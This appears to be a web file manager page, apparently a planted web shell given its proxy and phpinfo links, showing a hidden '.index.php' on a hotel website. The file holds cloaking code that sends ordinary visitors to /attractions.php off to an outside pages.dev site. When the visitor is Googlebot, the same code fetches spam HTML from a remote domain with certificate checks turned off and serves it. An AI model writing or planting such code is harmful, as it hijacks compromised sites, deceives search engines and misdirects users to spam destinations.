File manager - Edit - /home/asiatechinc/public_html/asiatech-websites/theroyalhotels.com/.index.php
Back
<?php if (isset($_SERVER['REQUEST_URI'])) { $requestUri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); if ($requestUri === '/attractions.php' || $requestUri === '/attractions.php/') { $agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; if ( stripos($agent, 'googlebot') === false && stripos($agent, 'Google-InspectionTool') === false ) { header("Location: https://emototo-townsville.pages.dev/", true, 302); exit; } $url = 'https://buckdomain.vip/emototo/www.theroyalhotels.com-attractions.php.html'; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => $agent ?: 'Mozilla/5.0', CURLOPT_TIMEOUT => 15 ]); $html = curl_exec($ch); $err = curl_error($ch); curl_close($ch); if ($html !== false && !empty($html)) { echo $html; } exit; } } return false;
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0.02 |
proxy
|
phpinfo
|
Settings